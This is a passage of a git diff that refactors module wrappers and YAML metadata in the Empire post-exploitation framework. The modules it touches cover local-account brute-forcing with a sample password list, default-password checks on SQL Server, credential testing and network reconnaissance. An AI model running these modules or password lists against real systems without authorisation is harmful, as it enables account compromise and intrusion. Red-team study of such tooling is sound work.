- description: Comma seperated password list that should be tested against each account
- found
+ description: Comma seperated password list that should be tested against each account found
required: true
value: Welcome123,Password01,Test123!,Welcome2018
- name: Verbose
- description: Want to see failed logon attempts? And found users? Set this to any
- value.
+ description: Want to see failed logon attempts? And found users? Set this to any value.
required: false
value: ''
-script_path: 'recon/Fetch-And-Brute-Local-Accounts.ps1'
+script_path: recon/Fetch-And-Brute-Local-Accounts.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py
index 160ccb345..fc3e913d0 100644
--- a/empire/server/modules/powershell/recon/find_fruit.py
+++ b/empire/server/modules/powershell/recon/find_fruit.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -59,7 +55,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/recon/find_fruit.yaml b/empire/server/modules/powershell/recon/find_fruit.yaml
index 4b7360a15..ba7b113ed 100644
--- a/empire/server/modules/powershell/recon/find_fruit.yaml
+++ b/empire/server/modules/powershell/recon/find_fruit.yaml
@@ -1,8 +1,11 @@
name: Find-Fruit
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Searches a network range for potentially vulnerable web services.
software: ''
+tactics: []
techniques:
- T1102
- T1256
@@ -54,7 +57,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -62,6 +65,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'recon/Find-Fruit.ps1'
+script_path: recon/Find-Fruit.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py
index e7c0f8dfc..06b76c056 100644
--- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py
+++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py
@@ -1,20 +1,16 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -26,7 +22,7 @@ def generate(
if check_all:
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name="recon/Get-SQLInstanceDomain.ps1",
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -42,14 +38,14 @@ def generate(
if instance != "" and not check_all:
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name="recon/Get-SQLServerLoginDefaultPw.ps1",
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
script_end += " -Instance " + instance
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml
index 19718c2fc..437b1c970 100644
--- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml
+++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml
@@ -1,10 +1,14 @@
name: Get-SQLServerLoginDefaultPw
authors:
- - '@_nullbind'
- - '@0xbadjuju'
-description: Based on the instance name, test if SQL Server is configured with default
- passwords.
+ - name: ''
+ handle: '@_nullbind'
+ link: ''
+ - name: ''
+ handle: '@0xbadjuju'
+ link: ''
+description: Based on the instance name, test if SQL Server is configured with default passwords.
software: ''
+tactics: []
techniques:
- T1256
background: true
@@ -26,8 +30,7 @@ options:
required: false
value: ''
- name: Password
- description: SQL Server or domain account password to authenticate with. Only used
- for CheckAll
+ description: SQL Server or domain account password to authenticate with. Only used for CheckAll
required: false
value: ''
- name: Instance
@@ -39,4 +42,4 @@ options:
required: false
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/recon/http_login.yaml b/empire/server/modules/powershell/recon/http_login.yaml
index a94ae44fb..1758012fa 100644
--- a/empire/server/modules/powershell/recon/http_login.yaml
+++ b/empire/server/modules/powershell/recon/http_login.yaml
@@ -1,8 +1,11 @@
name: HTTP-Login
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Tests credentials against Basic Authentication.
software: ''
+tactics: []
techniques:
- T1071
background: true
@@ -57,7 +60,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -65,5 +68,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'recon/HTTP-Login.ps1'
+script_path: recon/HTTP-Login.ps1
script_end: Test-Login {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'HTTP-Login completed'
diff --git a/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml b/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml
index 069cbee12..b3c498805 100644
--- a/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml
@@ -1,9 +1,14 @@
name: Get-AntiVirusProduct
authors:
- - '@mh4x0f'
- - Jan Egil Ring
+ - name: ''
+ handle: '@mh4x0f'
+ link: ''
+ - name: Jan Egil Ring
+ handle: ''
+ link: ''
description: Get antivirus product information.
software: ''
+tactics: []
techniques:
- T1063
background: true
@@ -26,7 +31,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml b/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml
index 438006b56..8acaaf0f6 100644
--- a/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml
@@ -1,10 +1,15 @@
name: Get-AppLockerConfig
authors:
- - '@matterpreter'
- - Matt Hand
-description: This script is used to query the current AppLocker policy on the target
- and check the status of a user-defined executable or all executables in a path.
+ - name: ''
+ handle: '@matterpreter'
+ link: ''
+ - name: Matt Hand
+ handle: ''
+ link: ''
+description: This script is used to query the current AppLocker policy on the target and check the status of a user-defined
+ executable or all executables in a path.
software: ''
+tactics: []
techniques:
- T1012
background: false
@@ -32,7 +37,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py
index 7d50a900b..106d2a3c9 100644
--- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py
+++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -41,7 +37,7 @@ def generate(
script_end += 'Write-Output "Event ID 4624 (Logon):`n";'
script_end += "Write-Output $Filtered4624.Values"
script_end += f" | {outputf}"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
@@ -54,7 +50,7 @@ def generate(
script_end += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";'
script_end += "Write-Output $Filtered4648.Values"
script_end += f" | {outputf}"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
@@ -67,7 +63,7 @@ def generate(
script_end += 'Write-Output "AppLocker Process Starts:`n";'
script_end += "Write-Output $AppLockerLogs.Values"
script_end += f" | {outputf}"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
@@ -80,7 +76,7 @@ def generate(
script_end += 'Write-Output "PowerShell Script Executions:`n";'
script_end += "Write-Output $PSLogs.Values"
script_end += f" | {outputf}"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
@@ -93,7 +89,7 @@ def generate(
script_end += 'Write-Output "RDP Client Data:`n";'
script_end += "Write-Output $RdpClientData.Values"
script_end += f" | {outputf}"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
@@ -118,7 +114,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml b/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml
index 0f55df61c..830b7477c 100644
--- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml
@@ -1,9 +1,11 @@
name: Get-ComputerDetails
authors:
- - '@JosephBialek'
-description: Enumerates useful information on the system. By default, all checks are
- run.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: Enumerates useful information on the system. By default, all checks are run.
software: ''
+tactics: []
techniques:
- T1082
background: true
@@ -46,7 +48,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -54,6 +56,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/host/Get-ComputerDetails.ps1'
+script_path: situational_awareness/host/Get-ComputerDetails.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml b/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml
index 6d68a893b..4d760c05c 100644
--- a/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml
@@ -1,8 +1,11 @@
name: Get-SystemDNSServer
authors:
- - DarkOperator
+ - name: DarkOperator
+ handle: ''
+ link: ''
description: Enumerates the DNS Servers used by a system.
software: ''
+tactics: []
techniques:
- T1482
- T1018
@@ -22,7 +25,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml b/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml
index 7380a63c9..6b4fe550e 100644
--- a/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml
@@ -1,10 +1,12 @@
name: Find-TrustedDocuments
authors:
- - '@jamcut'
-description: This module will enumerate the appropriate registry keys to determine
- what, if any, trusted documents exist on the host. It will also enumerate trusted
- locations.
+ - name: ''
+ handle: '@jamcut'
+ link: ''
+description: This module will enumerate the appropriate registry keys to determine what, if any, trusted documents exist on
+ the host. It will also enumerate trusted locations.
software: ''
+tactics: []
techniques:
- T1135
background: false
@@ -24,7 +26,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -32,5 +34,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/host/Find-TrustedDocuments.ps1'
+script_path: situational_awareness/host/Find-TrustedDocuments.ps1
script_end: Find-TrustedDocuments | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-TrustedDocuments completed'
diff --git a/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml b/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml
index 9e56003ab..eeea085a8 100644
--- a/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml
@@ -1,8 +1,11 @@
name: Get-PathAcl
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Enumerates the ACL for a given file path.
software: ''
+tactics: []
techniques:
- T1083
background: true
@@ -25,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -33,5 +36,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-PathAcl {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-PathAcl completed'
diff --git a/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml b/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml
index 6d9aa92b2..cdd316bcd 100644
--- a/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml
@@ -1,9 +1,11 @@
name: Get-Proxy
authors:
- - '@harmj0y'
-description: Enumerates the proxy server and WPAD conents for the current user. Part
- of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Enumerates the proxy server and WPAD conents for the current user. Part of PowerView.
software: ''
+tactics: []
techniques:
- T1049
background: true
@@ -26,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -34,5 +36,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-Proxy {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-Proxy completed'
diff --git a/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml b/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml
index f748bb562..7e6c68769 100644
--- a/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml
@@ -1,8 +1,11 @@
name: Get-UACLevel
authors:
- - Petr Medonos
+ - name: Petr Medonos
+ handle: ''
+ link: ''
description: Enumerates UAC level
software: ''
+tactics: []
techniques:
- T1033
background: false
@@ -21,7 +24,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml b/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml
index 68d480373..d70803b6b 100644
--- a/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml
@@ -1,10 +1,12 @@
name: Invoke-HostRecon
authors:
- - '@mishradhiraj_'
-description: Invoke-HostRecon runs a number of checks on a system to help provide
- situational awareness to a penetration tester during the reconnaissance phase It
- gathers information about the local system, users, and domain information.
+ - name: ''
+ handle: '@mishradhiraj_'
+ link: ''
+description: Invoke-HostRecon runs a number of checks on a system to help provide situational awareness to a penetration tester
+ during the reconnaissance phase It gathers information about the local system, users, and domain information.
software: ''
+tactics: []
techniques:
- T1082
background: false
@@ -24,7 +26,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -32,5 +34,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/host/HostRecon.ps1'
+script_path: situational_awareness/host/HostRecon.ps1
script_end: Invoke-HostRecon {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-HostRecon completed'
diff --git a/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml b/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml
index e8331e73f..e8d38f8f1 100644
--- a/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml
@@ -1,10 +1,12 @@
name: Start-MonitorTCPConnections
authors:
- - '@erikbarzdukas'
-description: Monitors hosts for TCP connections to a specified domain name or IPv4
- address. Useful for session hijacking and finding users interacting with sensitive
- services.
+ - name: ''
+ handle: '@erikbarzdukas'
+ link: ''
+description: Monitors hosts for TCP connections to a specified domain name or IPv4 address. Useful for session hijacking and
+ finding users interacting with sensitive services.
software: ''
+tactics: []
techniques:
- T1049
background: true
@@ -28,5 +30,5 @@ options:
description: Interval in seconds to check for the connection
required: true
value: '15'
-script_path: 'situational_awareness/host/Start-MonitorTCPConnections.ps1'
-script_end: Start-TCPMonitor {{ PARAMS }}
\ No newline at end of file
+script_path: situational_awareness/host/Start-MonitorTCPConnections.ps1
+script_end: Start-TCPMonitor {{ PARAMS }}
diff --git a/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml b/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml
index 8d2c2e4c1..7cda40e9d 100644
--- a/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml
@@ -1,9 +1,12 @@
name: Invoke-Paranoia
authors:
- - pasv
-description: Continuously check running processes for the presence of suspicious users,
- members of groups, process names, and for any processes running off of USB drives.
+ - name: pasv
+ handle: ''
+ link: ''
+description: Continuously check running processes for the presence of suspicious users, members of groups, process names,
+ and for any processes running off of USB drives.
software: ''
+tactics: []
techniques:
- T1057
background: true
@@ -31,5 +34,5 @@ options:
description: AD Groups to watch out for (Default is 'Domain Admins')
required: false
value: ''
-script_path: 'situational_awareness/host/Invoke-Paranoia.ps1'
-script_end: Invoke-Paranoia {{ PARAMS }}
\ No newline at end of file
+script_path: situational_awareness/host/Invoke-Paranoia.ps1
+script_end: Invoke-Paranoia {{ PARAMS }}
diff --git a/empire/server/modules/powershell/situational_awareness/host/seatbelt.py b/empire/server/modules/powershell/situational_awareness/host/seatbelt.py
index 15f417307..03de4fa55 100644
--- a/empire/server/modules/powershell/situational_awareness/host/seatbelt.py
+++ b/empire/server/modules/powershell/situational_awareness/host/seatbelt.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -51,7 +47,7 @@ def generate(
script_end = script_end.replace('" ', '"')
script_end += '"'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml b/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml
index 258bd647d..02226bc36 100644
--- a/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml
@@ -1,11 +1,15 @@
name: Invoke-Seatbelt
authors:
- - '@harmj0y'
- - '@S3cur3Th1sSh1t'
-description: Seatbelt is a C# project that performs a number of security oriented
- host-survey "safety checks" relevant from both offensive and defensive security
- perspectives.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from
+ both offensive and defensive security perspectives.
software: ''
+tactics: []
techniques:
- T1082
background: false
@@ -22,8 +26,7 @@ options:
required: true
value: ''
- name: Command
- description: 'Use available Seatbelt commands (AntiVirus, PowerShellEvents, UAC,
- etc). '
+ description: 'Use available Seatbelt commands (AntiVirus, PowerShellEvents, UAC, etc). '
required: false
value: ''
suggested_values:
@@ -126,13 +129,12 @@ options:
- WMIFilterBinding
- WSUS
- name: Group
- description: Runs a predefined group of commands (All, User, System, Slack, Chrome,
- Remote, Misc)
+ description: Runs a predefined group of commands (All, User, System, Slack, Chrome, Remote, Misc)
required: false
value: all
- name: Computername
- description: Remote system to run enumeration against. This is performed over WMI
- via queriesfor WMI classes and WMI StdRegProv for registry enumeration.
+ description: Remote system to run enumeration against. This is performed over WMI via queriesfor WMI classes and WMI StdRegProv
+ for registry enumeration.
required: false
value: ''
- name: Username
@@ -151,6 +153,6 @@ options:
description: Runs in Quiet Mode.
required: false
value: 'False'
-script_path: 'situational_awareness/host/Invoke-Seatbelt.ps1'
+script_path: situational_awareness/host/Invoke-Seatbelt.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/situational_awareness/host/winenum.yaml b/empire/server/modules/powershell/situational_awareness/host/winenum.yaml
index aa51677ec..668745132 100644
--- a/empire/server/modules/powershell/situational_awareness/host/winenum.yaml
+++ b/empire/server/modules/powershell/situational_awareness/host/winenum.yaml
@@ -1,8 +1,11 @@
name: Invoke-WinEnum
authors:
- - '@xorrior'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
description: Collects revelant information about a host and the current user context.
software: ''
+tactics: []
techniques:
- T1082
background: true
@@ -26,5 +29,5 @@ options:
description: UserName to enumerate. Defaults to the current user context.
required: false
value: ''
-script_path: 'situational_awareness/host/Invoke-WinEnum.ps1'
-script_end: Invoke-WinEnum {{ PARAMS }}
\ No newline at end of file
+script_path: situational_awareness/host/Invoke-WinEnum.ps1
+script_end: Invoke-WinEnum {{ PARAMS }}
diff --git a/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml b/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml
index d76b575ef..ea7fc125e 100644
--- a/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml
@@ -1,8 +1,11 @@
name: Invoke-ARPScan
authors:
- - DarkOperator
+ - name: DarkOperator
+ handle: ''
+ link: ''
description: Performs an ARP scan against a given range of IPv4 IP Addresses.
software: S0099
+tactics: []
techniques:
- T1016
background: true
@@ -29,7 +32,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -37,5 +40,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Invoke-ARPScan.ps1'
-script_end: Invoke-ARPScan {{ PARAMS }} | Select-Object MAC, Address | ft -autosize | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-ARPScan completed'
+script_path: situational_awareness/network/Invoke-ARPScan.ps1
+script_end: Invoke-ARPScan {{ PARAMS }} | Select-Object MAC, Address | ft -autosize | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};
+ 'Invoke-ARPScan completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml
index c5127b35c..fbe0a08e1 100644
--- a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml
@@ -1,10 +1,17 @@
name: Invoke-BloodHound
authors:
- - '@harmj0y'
- - '@_wald0'
- - '@cptjesus'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: Andy Robbins
+ handle: '@_wald0'
+ link: https://twitter.com/_wald0
+ - name: Rohan Vazarkar
+ handle: '@cptjesus'
+ link: https://twitter.com/cptjesus
description: Execute BloodHound data collection.
software: ''
+tactics: []
techniques:
- T1484
background: true
@@ -41,8 +48,8 @@ options:
required: false
value: ''
- name: CollectionMethod
- description: The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup',
- 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.
+ description: The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn',
+ 'Trusts, 'Stealth', or 'Default'.
required: true
value: Default
- name: SearchForest
@@ -81,5 +88,5 @@ options:
description: The number of cypher queries to queue up for neo4j RESTful API ingestion.
required: true
value: '1000'
-script_path: 'situational_awareness/network/BloodHound.ps1'
+script_path: situational_awareness/network/BloodHound.ps1
script_end: Invoke-BloodHound {{ PARAMS }} | Out-String | %{$_ + "`n"};"`n Invoke-BloodHound completed!"
diff --git a/empire/server/modules/powershell/situational_awareness/network/bloodhound3.yaml b/empire/server/modules/powershell/situational_awareness/network/bloodhound3.yaml
index e88dc0191..a661ec880 100644
--- a/empire/server/modules/powershell/situational_awareness/network/bloodhound3.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/bloodhound3.yaml
@@ -1,11 +1,20 @@
name: Invoke-BloodHound
authors:
- - '@harmj0y'
- - '@_wald0'
- - '@cptjesus'
- - rafff
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: Andy Robbins
+ handle: '@_wald0'
+ link: https://twitter.com/_wald0
+ - name: Rohan Vazarkar
+ handle: '@cptjesus'
+ link: https://twitter.com/cptjesus
+ - name: rafff
+ handle: ''
+ link: ''
description: Execute BloodHound data collection (ingestor for version 3).
software: ''
+tactics: []
techniques:
- T1484
background: true
@@ -22,40 +31,34 @@ options:
required: true
value: ''
- name: CollectionMethod
- description: The method to collect data. Group, LocalGroup, LocalAdmin, RDP, DCOM,
- PSRemote, Session, SessionLoop, Trusts, ACL, Container, ComputerOnly, GPOLocalGroup,
- LoggedOn, ObjectProps, SPNTargets, Default, DcOnly, All.
+ description: The method to collect data. Group, LocalGroup, LocalAdmin, RDP, DCOM, PSRemote, Session, SessionLoop, Trusts,
+ ACL, Container, ComputerOnly, GPOLocalGroup, LoggedOn, ObjectProps, SPNTargets, Default, DcOnly, All.
required: true
value: Default
- name: Stealth
- description: Use stealth collection options, will sacrifice data quality in favor
- of much reduced network impact.
